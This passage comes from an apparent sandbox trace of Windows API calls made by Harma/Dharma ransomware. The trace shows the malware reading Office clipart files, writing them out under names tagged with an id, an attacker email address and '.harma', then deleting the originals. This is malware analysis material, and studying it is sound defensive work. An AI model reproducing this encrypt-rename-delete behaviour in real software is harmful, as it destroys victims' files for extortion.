lpString2=".WMF") returned -1 [0169.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0169.981] lstrlenW (lpString=".jpg") returned 4 [0169.981] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.982] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0169.982] lstrlenW (lpString="J0107132.WMF") returned 12 [0169.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0169.982] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=48380) returned 1 [0169.982] CloseHandle (hObject=0x348) returned 1 [0169.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf")) returned 0x20 [0169.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0169.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0169.983] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.983] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0169.984] GetLastError () returned 0x0 [0169.984] ReadFile (in: hFile=0x348, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0xbcfc, lpOverlapped=0x0) returned 1 [0170.134] WriteFile (in: hFile=0x330, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xbd00, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xbd00, lpOverlapped=0x0) returned 1 [0170.136] ReadFile (in: hFile=0x348, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0170.137] WriteFile (in: hFile=0x330, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0170.137] SetEndOfFile (hFile=0x330) returned 1 [0170.137] CloseHandle (hObject=0x330) returned 1 [0170.137] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0170.137] SetEndOfFile (hFile=0x348) returned 1 [0170.148] CloseHandle (hObject=0x348) returned 1 [0170.148] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0170.274] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf")) returned 1 [0170.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0170.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0170.405] lstrlenW (lpString=".doc") returned 4 [0170.405] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.405] lstrlenW (lpString=".docx") returned 5 [0170.405] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0170.405] lstrlenW (lpString=".pdf") returned 4 [0170.405] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.405] lstrlenW (lpString=".xls") returned 4 [0170.405] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.405] lstrlenW (lpString=".xlsx") returned 5 [0170.405] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0170.405] lstrlenW (lpString=".ppt") returned 4 [0170.405] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0170.405] lstrlenW (lpString=".zip") returned 4 [0170.405] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.405] lstrlenW (lpString=".rar") returned 4 [0170.405] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.405] lstrlenW (lpString=".bz2") returned 4 [0170.405] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.406] lstrlenW (lpString=".7z") returned 3 [0170.406] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0170.406] lstrlenW (lpString=".dbf") returned 4 [0170.406] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0170.406] lstrlenW (lpString=".1cd") returned 4 [0170.406] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0170.407] lstrlenW (lpString=".jpg") returned 4 [0170.407] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0170.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0170.407] lstrlenW (lpString=".doc") returned 4 [0170.407] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.407] lstrlenW (lpString=".docx") returned 5 [0170.407] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0170.407] lstrlenW (lpString=".pdf") returned 4 [0170.407] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.407] lstrlenW (lpString=".xls") returned 4 [0170.407] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.407] lstrlenW (lpString=".xlsx") returned 5 [0170.407] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0170.407] lstrlenW (lpString=".ppt") returned 4 [0170.407] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0170.407] lstrlenW (lpString=".zip") returned 4 [0170.407] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.407] lstrlenW (lpString=".rar") returned 4 [0170.407] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.407] lstrlenW (lpString=".bz2") returned 4 [0170.407] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.408] lstrlenW (lpString=".7z") returned 3 [0170.408] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0170.408] lstrlenW (lpString=".dbf") returned 4 [0170.408] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0170.408] lstrlenW (lpString=".1cd") returned 4 [0170.408] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0170.408] lstrlenW (lpString=".jpg") returned 4 [0170.408] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.408] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0170.408] lstrlenW (lpString="J0107150.WMF") returned 12 [0170.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0170.409] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=13456) returned 1 [0170.409] CloseHandle (hObject=0x348) returned 1 [0170.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf")) returned 0x20 [0170.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0170.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0170.410] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0170.411] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0170.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0170.412] GetLastError () returned 0x0 [0170.412] ReadFile (in: hFile=0x348, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x3490, lpOverlapped=0x0) returned 1 [0170.591] WriteFile (in: hFile=0x330, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x34a0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x34a0, lpOverlapped=0x0) returned 1 [0170.593] ReadFile (in: hFile=0x348, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0170.593] WriteFile (in: hFile=0x330, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0170.593] SetEndOfFile (hFile=0x330) returned 1 [0170.593] CloseHandle (hObject=0x330) returned 1 [0170.593] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0170.593] SetEndOfFile (hFile=0x348) returned 1 [0170.596] CloseHandle (hObject=0x348) returned 1 [0170.596] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0170.597] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf")) returned 1 [0170.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0170.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0170.598] lstrlenW (lpString=".doc") returned 4 [0170.598] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.599] lstrlenW (lpString=".docx") returned 5 [0170.599] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0170.599] lstrlenW (lpString=".pdf") returned 4 [0170.599] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.599] lstrlenW (lpString=".xls") returned 4 [0170.599] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.599] lstrlenW (lpString=".xlsx") returned 5 [0170.599] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0170.599] lstrlenW (lpString=".ppt") returned 4 [0170.599] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0170.599] lstrlenW (lpString=".zip") returned 4 [0170.599] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.599] lstrlenW (lpString=".rar") returned 4 [0170.599] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.599] lstrlenW (lpString=".bz2") returned 4 [0170.599] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.599] lstrlenW (lpString=".7z") returned 3 [0170.599] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0170.599] lstrlenW (lpString=".dbf") returned 4 [0170.599] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0170.599] lstrlenW (lpString=".1cd") returned 4 [0170.599] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0170.600] lstrlenW (lpString=".jpg") returned 4 [0170.600] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0170.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0170.600] lstrlenW (lpString=".doc") returned 4 [0170.600] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.600] lstrlenW (lpString=".docx") returned 5 [0170.600] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0170.600] lstrlenW (lpString=".pdf") returned 4 [0170.600] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.600] lstrlenW (lpString=".xls") returned 4 [0170.600] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.600] lstrlenW (lpString=".xlsx") returned 5 [0170.600] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0170.600] lstrlenW (lpString=".ppt") returned 4 [0170.600] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0170.600] lstrlenW (lpString=".zip") returned 4 [0170.600] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.600] lstrlenW (lpString=".rar") returned 4 [0170.600] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.600] lstrlenW (lpString=".bz2") returned 4 [0170.600] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.601] lstrlenW (lpString=".7z") returned 3 [0170.601] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0170.601] lstrlenW (lpString=".dbf") returned 4 [0170.601] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0170.601] lstrlenW (lpString=".1cd") returned 4 [0170.601] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0170.601] lstrlenW (lpString=".jpg") returned 4 [0170.601] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.601] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0170.601] lstrlenW (lpString="J0107158.WMF") returned 12 [0170.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0170.641] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=24908) returned 1 [0170.641] CloseHandle (hObject=0x39c) returned 1 [0170.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf")) returned 0x20 [0170.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0170.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0170.672] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0170.672] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0170.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0170.673] GetLastError () returned 0x0 [0170.673] ReadFile (in: hFile=0x20c, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x614c, lpOverlapped=0x0) returned 1 [0170.771] WriteFile (in: hFile=0x21c, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x6150, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x6150, lpOverlapped=0x0) returned 1 [0170.773] ReadFile (in: hFile=0x20c, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0170.773] WriteFile (in: hFile=0x21c, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0170.773] SetEndOfFile (hFile=0x21c) returned 1 [0170.773] CloseHandle (hObject=0x21c) returned 1 [0170.773] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0170.773] SetEndOfFile (hFile=0x20c) returned 1 [0170.776] CloseHandle (hObject=0x20c) returned 1 [0170.776] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0170.776] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf")) returned 1 [0170.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0170.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0170.778] lstrlenW (lpString=".doc") returned 4 [0170.778] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.778] lstrlenW (lpString=".docx") returned 5 [0170.778] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0170.778] lstrlenW (lpString=".pdf") returned 4 [0170.778] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.778] lstrlenW (lpString=".xls") returned 4 [0170.778] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.778] lstrlenW (lpString=".xlsx") returned 5 [0170.778] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0170.778] lstrlenW (lpString=".ppt") returned 4 [0170.778] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0170.778] lstrlenW (lpString=".zip") returned 4 [0170.778] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.778] lstrlenW (lpString=".rar") returned 4 [0170.778] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.778] lstrlenW (lpString=".bz2") returned 4 [0170.778] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.778] lstrlenW (lpString=".7z") returned 3 [0170.778] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0170.778] lstrlenW (lpString=".dbf") returned 4 [0170.778] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0170.779] lstrlenW (lpString=".1cd") returned 4 [0170.779] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0170.779] lstrlenW (lpString=".jpg") returned 4 [0170.779] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0170.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0170.779] lstrlenW (lpString=".doc") returned 4 [0170.779] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.779] lstrlenW (lpString=".docx") returned 5 [0170.779] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0170.779] lstrlenW (lpString=".pdf") returned 4 [0170.779] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.779] lstrlenW (lpString=".xls") returned 4 [0170.779] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.779] lstrlenW (lpString=".xlsx") returned 5 [0170.779] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0170.779] lstrlenW (lpString=".ppt") returned 4 [0170.779] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0170.779] lstrlenW (lpString=".zip") returned 4 [0170.779] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.779] lstrlenW (lpString=".rar") returned 4 [0170.779] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.779] lstrlenW (lpString=".bz2") returned 4 [0170.779] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.780] lstrlenW (lpString=".7z") returned 3 [0170.780] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0170.780] lstrlenW (lpString=".dbf") returned 4 [0170.780] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0170.780] lstrlenW (lpString=".1cd") returned 4 [0170.780] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0170.780] lstrlenW (lpString=".jpg") returned 4 [0170.780] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.780] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0170.780] lstrlenW (lpString="J0107258.WMF") returned 12 [0170.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0170.796] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=8552) returned 1 [0170.796] CloseHandle (hObject=0x374) returned 1 